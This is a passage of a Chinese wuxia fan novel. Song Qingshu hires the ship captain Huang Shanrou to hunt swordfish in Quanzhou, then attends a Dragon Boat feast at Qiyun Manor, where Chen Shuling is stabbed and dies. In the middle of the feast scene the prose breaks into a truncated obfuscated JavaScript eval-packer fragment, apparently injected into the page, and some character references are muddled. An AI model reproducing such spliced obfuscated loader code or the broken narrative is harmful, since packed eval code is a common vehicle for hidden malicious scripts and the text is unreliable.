“是青书考虑不周,让三叔空欢喜一场。”宋青书声音低沉。 “与你何干?”俞岱岩反倒又宽慰他,“你能想到此物,已是奇思。林师弟远在数千里外,能觅得并送来,已是大费周章。海上风波不定,渔获本就难料,能保得筋络完整已属不易,何谈绝对新鲜?此事,强求不得。” 真的强求不得吗?宋青书回到自己房中,凝视着桌上那些光泽内敛的淡金灵线,又看看旁边莹润却显绵软的鲤筋灵线,一股强烈的不甘涌上心头。方向是对的,旗鱼筋的特性也确如所料,可败在了这最后一环上。难道就因为这点,便要放弃这最有希望的材料?让三师叔刚刚看到一丝突破瓶颈的曙光,又重归漫长的等待? “不。”他低声自语,“既然旁人难以确保新鲜,那我便自己去取!” 这 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宋青书摇头,语气恳切而坚决:“父亲,旗鱼乃深海迅捷之鱼,性子刚烈,离水极易死亡,纵有水箱,长途颠簸,其生机锐气必大打折扣。且此鱼捕捞本靠机缘,活体捕获、完好养护、再千里北运……其中变数太多。” 他转向张三丰,深深一揖,“太师父,青书明白风险。但医道如武道,有时亦需行险一搏,方能寻得一线生机。三师叔之伤,常规之法已至极限,这旗鱼灵线已是目前所见最具希望之途。若因材料不鲜而功亏一篑,弟子实不甘心。唯有恳请太师父、父亲成全!” 张三丰捻须不语,目光在宋青书脸上停留许久,似在审视他的决心与能力。 殿内檀香袅袅,时间仿佛凝固。终于,张三丰缓缓开口:“青书,你为同门之谊,不畏艰险,此心可嘉。你这一年历练,心性沉稳,医术武功皆有精进,更难得的是这份执着与担当。远桥,” 他看向宋远桥,“孩子大了,终究要经历风浪。东南之行,虽是险途,亦是磨砺。或许,这也是他医道乃至人道修行中,必经的一关。” 宋远桥知师父心意已动,且细想之下,青书所言确属实情。他长叹一声:“既然师父首肯……青书,你且记住,此去一切以安全为要。遇事多与林峻峰商议,他久居泉州,熟知本地情势。此外,”他神色更加严肃,“你炼制灵线之法,关乎你三师叔伤势根本,绝不可对外泄露半分,即便对林峻峰,也只说是需特定新鲜鱼筋入药即可。” “青书谨记父亲教诲!”宋青书强郑重应诺。 张三丰道:“你既决意亲往,也好。我可修书一封与林峻峰,说明缘由,请他全力协助你。此外,你此次下山,与前次游历不同。福建路远,沿途或有不便。你将真武令带上,或许用得上。” 他又对宋远桥道,“远桥,将药库中那瓶‘生生造化丹’给青书带上两粒,以备不时之需。再让他去寻莲舟,将能备的各类解毒、疗伤、避瘴的药物都备一些。” “谢太师父!谢父亲!”宋青书再次深深拜下。 消息传到听松小筑,俞岱岩沉默了很久。他看着眼前这个为了自己伤势,不惜远赴天涯海角的师侄,心中暖流涌动,他终于明白了青书之前所说的话不是虚言:“青书……辛苦你了。海上风高浪急,务必……万事小心。” 千言万语,化作最朴素的叮嘱。 “三叔放心,!”宋青书目光坚定。 接下来的几日,宋青书在俞莲舟的帮助下,精心准备行装。各类药物、金针、简易手术刀具、炼化所需的一些特殊药粉溶剂(掩人耳目之用)、换洗衣物、银两路费,一一打点妥当。 临行前夜,宋青书独自在院中静坐。夜空繁星点点,山风微凉。他摸了摸怀中冰冷的真武令,又感受了一下胸中那团温润却似乎比以往更加凝练的念力光团。一年江湖行医,数月钻研炼化,他的心智早已非昔比。恐惧固然有,但更多是沉甸甸的责任与跃跃欲试的探索之心。 翌日清晨,天光微熹。宋青书与父亲、诸位师叔及俞岱岩郑重道别。没有过多煽情,宋青书背起行囊,再次踏下山门。 目标:东南沿海,福建泉州。 24. 碧水萦回舟影残 离了武当山,宋青书日夜兼程,取道襄阳,沿汉水南下,经武昌、九江,一路向东。此次不比游历行医,目标明确,行程紧凑。他尽量选择官道,但元末乱世,所谓官道也常是盗匪潜藏、流民塞途。宋青书牢记父亲叮嘱,低调行事,常以游方郎中或寻亲书生面貌示人,遇到盘查勒索,能避则避,能忍则忍,必要时略施医术,倒也平安。 沿途所见,与鄂北相比,又是另一番凄惨景象。越是富庶的鱼米之乡,在沉重赋税与层层盘剥下,往往衰败得越触目惊心。河道两岸,良田抛荒者十有二三;城镇之中,衣衫褴褛的乞儿随处可见,眼巴巴地望着往来行人。宋青书心中忧闷,却知此时非悬壶济世之时,只能将所见所闻深藏心底,更加快了脚步。 月余之后,他终于踏入福建境内。山川风貌为之一变,群山连绵,丘陵起伏,林木葱郁,空气也湿润了许多,带着淡淡的咸腥气息——那是海风的味道。泉州作为当时东方第一大港,繁华远非内陆城市可比。宋青书甫一进城,便被眼前的景象所震撼:街道宽阔,商铺鳞次栉比,招牌幌子各式各样,汉文、波斯文、阿拉伯文混杂;行人摩肩接踵,除了中原百姓,更有高鼻深目的色目人、头缠白布的阿拉伯商人、皮肤黝黑的南洋水手,语言嘈杂,服饰各异。空气中弥漫着香料、茶叶、海货、牲口粪便混合而成的独特气息,喧嚣而充满活力。 他按照父亲所述,在城西繁华处找到了“长风镖局”的总号。那是一处占地颇广的院落,门前车马络绎不绝,伙计忙碌进出,气派不凡。宋青书上前,对守门伙计道:“劳烦通禀林东主,武当山故人来访。”说着,递上了父亲宋远桥的名帖和张三丰的亲笔书信。 伙计见他虽是布衣青衫,但气度从容,不敢怠慢,连忙进去通报。不多时,只听院内传来急促脚步声,一个年约四旬、身材魁梧、面庞黝黑、双目炯炯有神的锦衣汉子大步流星地迎了出来,身后跟着几名管事模样的人。来人目光如电,在宋青书身上一扫,随即脸上露出惊喜激动之色,未到跟前便已抱拳朗声道:“可是武当宋师兄府上的青书师侄?林峻峰迎接来迟,万望恕罪!” 说罢,竟要躬身行礼。 宋青书连忙侧身避开,上前一步扶住:“林师叔折煞晚辈了!晚辈宋青书,奉家父与太师父之命,前来叨扰,岂敢受师叔大礼?” 林峻峰顺势握住宋青书手臂,上下打量,连连点头:“像!真有宋师兄当年的风采!不,青出于蓝!快,里面请!里面叙话!” 他热情洋溢,拉着宋青书便往里走,对身后管事吩咐道:“快,去备最好的茶!还有,让厨房准备宴席,今晚我要为青书师侄接风洗尘!” 进入宽敞雅致的花厅落座,林峻峰挥退左右,只剩心腹老管家侍立一旁。他仔细看了张三丰的亲笔信,神色更加恭敬凝重:“张真人亲笔嘱托,峻峰惶恐!青书师侄,之前送去的鱼筋……可是不合用?峻峰办事不力,实在惭愧!” 他言语恳切,满是自责。 宋青书忙道:“林师叔言重了。师叔千里送筋,情意深重,晚辈感激不尽。只是那旗鱼筋对‘新鲜’二字要求极苛。非师叔之过,实乃此物天性使然。故而晚辈才不得不冒昧前来,想亲至海边,寻觅最新鲜合用的材料。” 林峻峰恍然大悟,拍案道:“原来如此!我道为何重金求购的上好剑鱼筋,到了武当却效用不显,竟是‘鲜’字上出了差池!此事怪我思虑不周!” 他沉吟片刻,目露精光,“青书师侄既然亲至,那便好办了。这泉州港内外,大小渔船数百,渔民数千,要寻新鲜海获,总归有办法。只是……” 他略微迟疑,“师侄所需,是那海中以速度力量著称的‘剑鱼’,此鱼并非网捕常获,多出没于外海深水,游速极快,性情凶猛,捕捞全靠机缘,且十分危险。便是最新鲜的,也得是渔民幸运捕获后,立刻取下所需部分,其间耽搁,恐怕……” 宋青书道:“晚辈明白其中艰难。不知可否寻得熟悉剑鱼鱼习性、敢于深入外海、且技艺高超的老渔民?若能随船出海,在捕获的第一时间处理,或可得最完美之材。所需酬劳,晚辈一力承担。” 林峻峰摆手:“师侄这话就见外了!为俞三侠疗伤之事,林某义不容辞,岂能谈钱?只是……” 他眉头微皱,“剑鱼捕捞,确实凶险。寻常近海渔民不敢去,也缺乏合适的大船和渔具。” 宋青书点头:“林师叔所虑甚是。三师叔伤势深重,非一日可愈。所以我还想多备些,以防不时之需,此番冒险,真真是不易。” 他顿了顿,“师叔可是有门路?” 林峻峰指节轻叩桌面:“若要寻更稳妥、更能持续获取新鲜顶级海猎材的路子……我倒想起一人。只是此人……有些特别。” “哦?愿闻其详。” “此人姓黄,名善柔,是个女子。” 林峻峰缓缓道,“在泉州港,提起‘善柔掌船’或‘黄娘子’,跑海的人没有不知道的。她手下的‘破浪号’,是这千里海疆上最厉害的海猎船,没有之一。专接别人不敢接、或接不了的活——捕杀凶猛罕见的巨鱼、清理困扰航道的恶兽、甚至……帮某些贵人寻找深海奇珍。只要出得起价钱,她几乎从未失手。” 女子?掌船?专捕难猎之物?宋青书心中微动,这听起来正是自己所需。“既如此,可否请林师叔引荐?” 林峻峰神色却有些复杂:“引荐不难。我与她有些生意往来,也算相识。只是……此人性格极其刚强果决,说一不二,船上规矩极大,且要价只高不低。更重要的是,” 他压低了声音,“传闻她身世有些蹊跷,似乎与十几年前福建道上的一桩旧事有关,性子有些孤拐,对武林人士,态度尤其微妙。师侄你以武当弟子身份前去,她未必会给好脸色。” 宋青书平静道:“晚辈是求材救人,并非攀交情。只要她能提供所需之物,态度如何,价钱几何,皆可商议。至于身世旧事……与晚辈所求无关。” 林峻峰见他态度坚决,便道:“也罢。明日我便带你去她的船上拜访。成与不成,看你们自己谈。” 翌日上午,林峻峰领着宋青书,来到了泉州港东侧一处相对僻静、却停靠着许多大型海船的专用码头。远远便能看到一艘比周围船只都要高大、船体线条流畅锐利、通体漆成深蓝近乎玄黑、桅杆高耸如枪的三桅帆船。船首雕刻着踏浪而行的狻猊,怒目獠牙,气势迫人。船帆此刻收起,但那股蓄势待发的精悍之气,已然扑面而来。这正是“破浪号”。 与那孤零零的小船不同,“破浪号”旁有不少水手正在忙碌,检修船体、整理渔网和各式各样奇形怪状、寒光闪闪的大型捕猎器械。这些水手个个精壮黧黑,眼神锐利,动作麻利,沉默寡言,自有一股令行禁止的肃杀之气,不像普通渔民,倒像久经训练的悍卒。 两人登上跳板,立刻有一名穿着短褂、头目模样的中年汉子迎上来,对林峻峰抱拳:“林老板。” 语气客气,但并不热络。 “王副掌,烦请通禀黄掌船,林某带一位朋友,有笔生意想与她谈谈。” 林峻峰笑道。 王副掌目光在宋青书身上一扫,尤其在背后革囊和宋青书沉静的气度上略一停留,点点头:“掌船正在舱内。二位请随我来。” 穿过忙碌的甲板,进入主舱。舱内布置简洁硬朗,没有太多装饰,一张巨大的海图桌占去中心,墙上挂着几柄造型奇古的鱼叉、弯刀,还有一张几乎铺满整面墙的、绘制精细的东南海域图,上面标注着许多符号。一个身影正背对着他们,站在海图前,仰头看着地图。 听到脚步声,那人转过身来。 宋青书第一次见到了黄善柔。 她看上去约莫三十上下,个子在女子中算高挑,一身藏青色的窄袖劲装,腰束皮带,脚踏鹿皮短靴,打扮得干净利落,毫无寻常女子的钗环裙裾。头发在脑后紧紧绾成一个髻,用一根简单的乌木簪固定,露出光洁的额头和修长的脖颈。肤色是常年在海上风吹日晒的小麦色,五官并不算极美,但眉宇间那股子英气与沉稳,却极为醒目。尤其是一双眼睛,瞳仁颜色比常人略浅,是琥珀般的色泽,此刻正平静无波地看着来人,目光锐利得像能穿透海雾,直抵人心。她站在那里,就像这艘“破浪号”一样,沉稳、锋利、蕴含着力量。 “林老板,稀客。” 黄善柔开口,声音不高,带着点海风浸润过的微哑,却清晰有力,“这位是?” 她的目光落在宋青书身上。 林峻峰笑道:“黄掌船,这位是宋青书宋少侠,我的……一位子侄辈,从湖广而来。他有件要紧事,想请黄掌船帮忙。” 宋青书上前一步,依江湖礼数抱拳:“晚辈宋青书,见过黄掌船。” 黄善柔微微颔首,算是回礼,眼神依旧审视:“宋少侠?看来是武林中人。不知有何事,需要找到我这海上讨生活的妇人?” 语气平淡,听不出喜怒。 宋青书开门见山:“晚辈冒昧前来,是想请黄掌船出手,捕猎新鲜健壮的大型剑鱼,晚辈只需其背部主筋,且要求越快取下、越新鲜越好。数量越多越好,品质越高越好。酬劳方面,但凭掌船开口。” “剑鱼?只要主筋?” 黄善柔眉梢微不可察地动了一下,“你要此物何用?” “入药,救治一位长辈的沉疴旧伤。” 宋青书回答简洁。 黄善柔沉默片刻,走到海图桌旁,手指无意识地点了点图上某处:“剑鱼不难,我的船常捕。新鲜也好办,我的船上自有特殊舱室与手段,可在捕获后短时内存活养护,你要当场取筋也行。只是……” 她抬眼,琥珀色的眸子直视宋青书,“我的价钱,不便宜。捕猎剑鱼,尤其是你要 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黄善柔嘴角似乎弯起一个极淡的、没什么温度的弧度,“宋少侠,我‘破浪号’出手,从不讲行情,只讲价值。你要的,不是市集上随便能买到的干鱼筋。你要的是第一时间、最鲜活、最强壮的深海剑鱼之筋,且需求持续。这意味着我要专门为你调整航程,冒更大的风险,去更危险的海域,用最好的伙计和最贵的装备。五千两,买的不只是鱼筋,是我‘破浪号’的信誉、本事,和兄弟们的命。你觉得不值,门在那边。” 她语气依旧平静,却带着不容置疑的决断。 舱内一时安静。林峻峰看向宋青书,眼神示意这个价格确实离谱,需从长计议。 宋青书沉吟。他身上所携加上林峻峰能支援的,凑出几条的钱或许够,但若长期需求,无疑是天文数字。他深吸一口气,抬头迎上黄善柔的目光:“黄掌船,此物关乎长辈性命,晚辈志在必得。然此价确非晚辈所能长久承担。晚辈除了银钱,亦通医术,疑难杂症、陈年旧伤,或可略尽绵力。此外,晚辈对处理药材、炼制之物也有些心得,或可抵部分资费?再者,若掌船允准,晚辈愿随船出海,绝不添乱,或可在猎捕时略助微力,以期降低些风险与成本?” 黄善柔饶有兴致地看着他:“医术?你能治海上伙计常得的热毒、恶疮、断骨伤?” “可试。” “炼药?你能将我捕来的某些稀罕海物,炼制成更易保存、药效更好的东西?” “晚辈于材料处理,确有独到之法,或可一试。” “随船出海?” 黄善柔目光更锐利了些,“海上不是你们江湖人逞英雄的地方。风暴、暗礁、海兽、乃至人心,瞬息万变。我的船上,没有‘少侠’,只有水手。要干活,要听话,要能扛得住晕浪和生死一线的场面。你行吗?” 宋青书挺直脊背,目光澄澈:“晚辈不敢逞英雄,只为求药。听从号令,不畏艰辛,生死各安天命,绝无怨言。” 黄善柔看了他良久,忽然道:“你要救的,是什么人?何等伤势,非要这海中剑鱼之筋不可?” 宋青书略一犹豫,但想到此事或许终究难瞒过这位精明的掌船,便斟酌道:“是晚辈一位至亲长辈,多年前遭歹人毒手,脊柱重伤,经脉损毁,瘫痪至今。寻常药物针石已然无效,需借这深海霸主体内蕴藏的极致生机与锐气,炼制特殊药引,方有一线重塑之机。” “脊柱重伤……瘫痪……” 黄善柔低声重复了一遍,那琥珀色的眸子里,似乎有极其复杂的光芒一闪而过,快得让人捉摸不定。她转过身,再次看向墙上的海图,背影显得有些沉凝。 过了好一会儿,她才缓缓道:“眼下季风未稳,外海多有乱流,不是猎箭的最好时机。五日后,看风向再说。定金……第一条,我可以只收你一千两。但你要随船,证明你的‘医术’和‘处理材料’的本事,确实值这个价。若我觉得不值,随时请你下船,定金不退。若我觉得值,后续的价格……再议。如何?” 这已是极大的让步和机会!宋青书精神一振,毫不犹豫:“多谢黄掌船!就依掌船所言!” 黄善柔回过头,脸上依旧没什么表情:“不必谢我,生意而已。五日后辰时,在此码头,我的船出发。过时不候。需要准备什么,问王副掌。” 她摆了摆手,示意谈话结束。 离开“破浪号”,走出一段距离后,林峻峰才低声道:“这黄善柔今日倒是出乎意料的好说话了些……第一条竟肯让价如此之多。莫非真是看你救人心切?不过师侄,此女心思深沉,绝非表面看来那么简单。她最后问你所救之人伤势时的神情……我总觉得有些不对劲。你随船之后,务必多加小心,尤其……莫要轻易提及武当具体人事。” 宋青书点头:“师叔放心,我省得。” 他心中也存着一丝疑虑。黄善柔的态度转变,确实有些突兀。但她既然给了机会,自己就必须抓住。至于其他……走一步看一步吧。眼下最重要的,是日后随“破浪号”出海,获取更多、更新鲜的顶级旗鱼筋。 25. 碧水萦回舟影残2 出海之约未至,端午佳节已临。泉州城内粽叶飘香,龙舟竞渡的鼓点隐约可闻。林峻峰却在这日一早,便邀宋青书同往城外东北方向的栖云山庄。 “栖云山庄庄主陈书珩,乃是我多年挚友,其妹陈书灵亦在本庄。他们陈家在此地根基深厚,乐善好施,是真正的诗礼传家之族。今日端午,庄内有家宴,也请了些亲近朋友。我想着师侄你远道而来,独在异乡,不若同去热闹一番,也见见此地风物人情。” 林峻峰笑道,又压低声音,“况且,这栖云山庄与武当,还有些渊源。” “渊源?” 宋青书心下一动。 “正是。约莫……十六七年前吧,福建道上出了一名武功高强、却又戕害良民、无恶不作的剧盗,绰号‘翻海蛟’,闹得沿海数府鸡犬不宁。当时,正是武当俞岱岩俞三侠奉师命南下诛杀此獠。” 林峻峰娓娓道来。 “那‘翻海蛟’狡诈凶悍,俞三侠追踪多时,最后得其线索,便是与这栖云山庄当时的庄主,也就是陈书珩、陈书灵兄妹的父亲陈老庄主联手,在此地附近设伏,最终将恶贼诛杀,为地方除了一大害。此事当年颇受称道,陈老庄主与俞三侠也因此结下一段侠义之交。只是后来陈老庄主因病过世,俞三侠也……唉。” 原来如此!宋青书恍然。三师叔当年福建之行,竟是与这栖云山庄并肩除恶。他心中对即将拜访的陈家,不由多了几分亲切与敬意。 栖云山庄坐落于一片临海的山坡之上,背倚青峦,面朝碧波,绿树掩映,亭台楼阁错落有致,既有江南园林之秀,又兼得山海之雄阔,确是一处钟灵毓秀的所在。 庄门早已敞开,张灯结彩,透着节日喜气。 林峻峰显然是常客,门房恭敬引二人入内。穿过几重□□回廊,来到一处开阔的临水轩厅。 厅内布置清雅,此时已设下两桌丰盛而不奢靡的宴席,时令鲜果、各色粽子、海陆佳肴香气扑鼻。 主位上是一位年约三旬、面容儒雅、三缕长髯、目光温和的中年文士,正是庄主陈书珩。 两个十一二岁的少年正在厅中追逐嬉闹,一个略高半头,虎头虎脑,眉眼肖似陈书珩,是陈景行;另一个稍显清瘦,但眼神灵动跳脱,是陈行止。 “娘,你怎么现在才来呀?”童言稚语,正是陈行止。 陈书灵款步,素色绣鞋踩在青石板上,只发出几不可闻的轻响。那步子迈得不大,腰肢却如扶风弱柳般轻轻款摆,衬得身姿愈发窈窕。她走得极缓,每一步都像是踏在人心尖上,裙裾随着步履轻晃,绣着暗纹的裙摆扫过地面,带起一缕若有似无的风。 最动人的是那股萦绕周身的香气,并非浓烈刺鼻的熏香,而是清润如莲、淡雅似兰的天然芬芳。起初只是若隐若现,随着她步步走近,香气便愈发清晰,先是一缕缕钻进鼻腔,带着雨后新荷的清冽,而后又混着几分温润的草木气息,像是晨露浸润过的花蕊,又似月光下绽放的幽兰。 她垂着眼睑,长长的睫毛微微颤动,鬓边的珠翠随着步履轻轻摇晃,却半点不显得张扬。路过廊下的月季花丛时,连盛放的花朵都似失了颜色,唯有她周身的香气,与花香交织在一起,分不清哪是花香,哪是她身上的芬芳。 她缓步至主位上坐好。 她并不回答陈行止的话,让陈行止自己坐好。 陈行止并无异色,他心想娘向来对他是时好时坏,因此也不甚在意。 寒暄过后,林峻峰引见宋青书:“书珩兄,书灵妹子,这位是宋青书宋少侠,乃我一位极重要的故人子侄,途经泉州,今日特带来一同过节,叨扰了。” 宋青书上前见礼:“晚辈宋青书,见过陈庄主,陈夫人。冒昧来访,打扰府上佳节清静,还望海涵。” 陈书珩连忙扶住,笑道:“宋少侠客气了。林贤弟的故人子侄,便是自家人,何来叨扰?快请入座。” 他目光在宋青书身上略一停留,似觉这少年气度沉静不凡,却未多言。 陈书灵亦微笑颔首:“今日端午家宴,本无外客,宋少侠与林大哥来了,正好添些热闹。景行,行止,还不过来见礼?” 两个少年这才停下嬉闹,规规矩矩上前。陈景行抱拳,声音洪亮:“景行见过宋大哥!” 陈行止则眼睛滴溜溜转,好奇地打量着宋青书背上的革囊,也学着抱拳:“行止见过宋哥哥!” 童言稚语,天真烂漫。宋青书也露出笑意:“景行弟弟,行止弟弟,节日安康。” 宴席开动,气氛融洽。 陈书珩谈吐风雅,学识渊博;陈书灵爽朗大方,见识不俗;林峻峰则穿插些海上生意与江湖见闻。两个少年起初还有些拘谨,几杯果子露下肚,见宋青书虽然话不多,但态度温和,有问必答,便渐渐活泼起来。 “宋哥哥,你背后背的是什么?是剑吗?” 陈行止忍不住问。 “并非,而是一些行走在外用得着的物件。” 宋青书温和道。 “宋大哥,我听爹爹说过,江湖上的大侠都会武功,你会不会武功?能飞檐走壁吗?” 陈景行眼睛发亮。 宋青书莞尔:“我并不会武功,飞檐走壁,那是传说中的本事了。” 陈书珩笑斥:“莫要胡闹,缠着宋少侠问东问西。” 林峻峰适时道:“青书师侄医术了得,此番南下,亦是为寻药救人。” 提及寻药,陈书珩兄妹自然问起。宋青书只简略说为救治一位家中长辈的旧伤,需几味特殊海药,并未提及武当与俞岱岩。 宴至半酣,众人移步至轩外临水的露台,凭栏欣赏山庄景致,远眺海天一色。两个少年拿了弓箭和小皮球在附近空地上玩耍。宋青书与陈书珩、林峻峰站在栏杆边闲聊,目光不经意地扫过山庄依山而建的层层院落、林木掩映的围墙,以及远处通往山庄后山的蜿蜒小径。 忽然,宋青书目光一凝。 在对面山坡上一片茂密的相思树林边缘,临近山庄外围石墙的一处天然岩石凸起之后,似乎有一道极淡的、几乎与环境融为一体的藏青色影子,微微一动。 这几人之中,林峻峰虽然也修习了一些武当的内门功夫,但是所练不深。而陈书珩也只习得一些外家功夫,并无内力,而宋青书因为念力,此刻竟然变成在场的所有人之中最耳聪目明的了。 且那影子恰好在两个少年跑动嬉笑的间隙,与相对静止的山林背景形成刹那对比,他几乎要忽略过去。 有人!在外窥视! 宋青书心头一紧,面上却不露声色,依旧与陈书珩说着话,眼角的余光却牢牢锁定了那个方向。那影子隐蔽得极好,气息收敛得几乎无从察觉,显然身手不凡,且对山庄地形颇为熟悉,选择的窥视点既能俯瞰轩厅露台,又易于借助山林脱身。 是谁?为何在陈家端午家宴时,潜伏在外?是贼?还是…… 他不动声色地调整了一下站姿,让自己能更自然地用余光观察。那影子似乎非常耐心,久久未有动作,只是静静地潜伏,如同暗处观察猎物的……鹰?不,那身影轮廓,似乎更显……玲珑?是个女子? 就在宋青书心中疑云渐起时,轩厅内传来陈书灵的呼唤,让陈书珩进去看看新煮的茶。林峻峰也一同转身。 就在这一刹那,或许是远处海面反射的阳光角度微微变化,又或许是那窥视者稍稍调整了姿势,宋青书终于看清了岩石边缘露出一角的衣袂颜色——那是比海更深沉的藏青,近乎玄黑,质地似乎是防水的油布或细麻。 这个颜色和质地……他脑中闪电般划过了什么,可是他没有抓住! 这时,陈书灵,以手掩口,轻轻咳了两声,对陈书珩低语,声音微哑:“珩哥,我方才许是多用了几杯酒,又或是这厅内人多气闷,有些头晕,想去后面更衣,顺便吹吹风,醒醒神。” 陈书珩关切道:“可要人陪着?或是请个大夫来看看?” “不必劳烦,”陈书灵勉强扯出一个笑容,“只是些许不适,出去透透气就好。去去就回,嫂子勿念。” 说着,她已盈盈起身。 她离席的动作虽尽量保持平稳,但起身时,裙摆还是微微带翻了手边的茶盏,幸亏盏中茶水已凉,只洒出少许。 这小小的失态,并未引起太多人注意,却恰好落入了正举杯的宋青书眼中。 陈书珩看着妹妹略显仓促的背影消失在花厅侧门,眉头几不可察地蹙了一下。书灵方才的脸色……似乎过于苍白了些,眼神也有些飘忽不定,不像是寻常的微醺或气闷。 他了解这个从小一起长大的妹妹,她里外坚韧,性情直爽,若非极不舒服或心中有事,断不会在这样重要的家宴中途离席,还险些失手打翻茶盏。 一丝隐隐的不安,掠过心头。 宴席继续。 说笑声,劝酒声,孩童的嬉闹声,交织成热闹的乐章。 陈书珩心中那点不安,起初被这喧闹压了下去。 然而,随着时间推移,一刻钟,两刻钟……小半个时辰过去了,陈书灵竟仍未归来。陈书珩心中的不安逐渐放大,变成了焦灼。 更衣何须如此之久?就算真的不适,也该让丫鬟回来通传一声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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小丫鬟带着哭腔。陈书珩不再多言,上前用力拍门:“书灵!书灵!你在里面吗?应一声!” 声音在寂静的院落里回荡,门内依旧死寂一片。 不祥的预感如同冰冷的潮水将他淹没。他与匆匆赶到的陈书灵(夫)交换了一个惊惧的眼神。 “撞开!” 陈书珩咬牙下令。身后两名健壮家丁应声上前,合力猛撞房门。“砰!砰!” 几声闷响,门闩断裂,房门洞开! 屋内的景象,让所有闯入者倒吸一口冷气! 绣凳翻倒在地,桌上的茶具粉碎,梳妆台的铜镜摔裂,胭脂水粉洒了一地,桌椅东倒西歪,帷帐被扯下半幅,凌乱地垂落。 最触目惊心的是地上——一道暗红色的、断续的血迹,从屋子中央,一直蜿蜒延伸到里间卧室的门口! 陈书珩抢先一步,警惕地扫视着狼藉的厅堂,确认并无埋伏,才示意家丁戒备,然后快步走向卧室。 卧室内的景象同样混乱。而陈书灵,就仰面倒在靠近床榻的地上。她身上还穿着赴宴时那身鹅黄色的夏衫,此刻却沾满了尘土和喷溅状的血迹,衣衫多处被利刃划破。她双目紧闭,面色惨白如纸,嘴角、胸前满是已呈暗红色的血渍,呼吸微弱得几乎看不见胸膛起伏。 “书灵!” 陈书珩肝胆俱裂,一个箭步冲过去,小心翼翼地将妹妹上半身扶起,靠在自己怀中。触手之处,一片冰凉湿黏。他颤抖着手去探她的鼻息,气若游丝。 “快!快去请大夫!把城里最好的大夫都请来!” 陈书珩嘶声大吼,声音已完全变调。陈忠连滚爬爬地应声跑去。 也许是亲人的呼唤和怀抱的温暖带来了最后一丝力量,陈书灵长长的睫毛剧烈颤抖了几下,竟然缓缓睁开了一条缝隙。她的瞳孔已经有些涣散,艰难地转动着,似乎想看清眼前的人。 “书灵!是我!书珩!你怎么样?谁伤的你?” 陈书珩急急问道,声音沙哑破碎。陈书灵的目光终于聚焦在他脸上。 她的嘴唇翕动着,声音细若蚊蚋,夹杂着血沫的咯咯声,陈书珩不得不将耳朵贴近她的唇边。 “珩……珩哥……” 每说一个字,都仿佛用尽了她残存的全部力气,血沫不断从嘴角溢出。 “我在!妹子,我在!” 陈书珩的眼泪终于夺眶而出,滴落在妹妹冰冷的脸颊上。 涣散的眼神里似乎闪过一点微弱的光。 她凝聚起最后的神智,断断续续,一字一顿,用气声说出了深埋心底十余年、至死方敢吐露的秘密: “我……一直……都觉得自己……喜欢你……” 话音未落,她紧握着兄长衣襟的手骤然一松,无力地垂下。 眼中的那点微光彻底熄灭,头轻轻歪向一侧,再也没有了声息。 陈书珩却仿佛瞬间被冻结了。 他抱着妹妹尚有余温却已毫无生机的身体,僵在原地,脑中一片空白。 他喃喃低语,仿佛在回答她,: “你没有说完的话……我都知道。” 26. 碧水萦回舟影残3 不久,前去请大夫的家仆领着两人,步履匆匆地穿过气氛凝滞的庄园,径直来到芷兰苑外。正是林峻峰与宋青书。 宋青书和林峻峰听闻二小姐遇袭重伤,医者本能让他立刻表示愿随行一观,或可尽力。 苑内花木依旧,却再无半分清雅,只有浓重的血腥味与死亡气息弥漫在端午午后的暖风里,令人作呕。 陈书珩闻报,已从屋内迎出。不过短短一个时辰,这位一向从容儒雅的陈家家主,仿佛骤然苍老了十岁,眼眶深陷,面色灰败,眼中布满血丝,唯有挺直的脊背还勉强支撑着一家之主的体面。 “林兄……宋少侠……”陈书珩拱手,声音沙哑干涩,几乎难以成句,“家门不幸,遭此惨祸……惊动二位,实在……” 林峻峰急忙上前扶住他手臂,沉声道:“书珩兄节哀!万万保重身体!究竟是何等狂徒,竟敢在光天化日之下行此恶事?令妹现在……” 他目光望向屋内,已有不祥预感。 陈书珩闭了闭眼,痛楚之色难以掩饰,侧身让开:“二位……请进一看。书灵她……已去了。” 林峻峰面色一凛,与宋青书对视一眼,迈步进入屋内。饶是林峻峰见惯风浪,也被眼前的凌乱与血迹惊得心头一沉。宋青书则眉头紧锁,目光迅速而专业地扫过现场——翻倒的家具、喷溅和拖曳的血迹、打斗的痕迹范围……最后,落在了里间地面上,那被白锦覆盖的纤瘦轮廓上。 “陈世叔,”宋青书上前一步,对陈书珩肃然道,“可否容晚辈查看一下?晚辈略通医术伤科,或可……从伤势推断凶器、手法一二。” 他语气沉稳,带着医者特有的冷静,在这种时刻反而给人一种奇异的安定感。 陈书珩此刻正是六神无主,悲痛与疑惑交煎,闻言如同抓住一根稻草,连连点头:“有劳宋少侠!有劳了!” 他亲自引宋青书来到遗体旁,颤抖着手,轻轻揭开了白锦一角,露出陈书灵苍白染血的面容与脖颈肩部。 宋青书蹲下身,先仔细观察陈书灵的面色、瞳孔、口唇,然后小心翼翼地避开明显被利刃划破的衣衫处,轻轻执起她的右手腕,三指搭上寸关尺。指尖传来一片死寂的冰冷,皮肤下再无丝毫气血流动的迹象。他凝神细察,又将手指移至颈侧人迎穴,同样毫无动静。 片刻,他收回手,抬眼看向满含希冀(尽管明知渺茫)又饱含悲痛的陈书珩,缓缓摇了摇头,声音低沉而清晰:“陈世叔,请恕晚辈直言。二小姐脉息已绝,瞳散唇绀,躯体渐僵……已气绝多时,回天乏术。” 尽管早有心理准备,但听到这来自医者的明判,陈书珩还是浑身一颤,最后的侥幸心理彻底粉碎,踉跄后退半步,被林峻峰及时扶住。 宋青书继续说道,语气转为分析:“从现场血迹喷溅形状、分布,以及二小姐身上伤口来看,凶器应是短刃之类,锋利异常。伤口多集中于胸腹要害,深浅不一,但至少有两处刺穿脏腑,是致命伤。遇袭时,二小姐曾有激烈挣扎反抗,” 他指了指周围翻倒的物件和地上一些非血迹的拖擦痕,“凶手很可能也受了些轻微擦伤或抓伤。从血迹凝固程度和遗体温度推断,事发时间,大约就在二小姐离席后不久。” 他的分析条理清晰,吻合现场,让悲痛中的陈书珩和旁观的林峻峰都微微点头,更觉此子确有不凡之处。 “宋少侠观察入微,所言应是不差。” 陈书珩惨然道,“只恨那恶贼……” 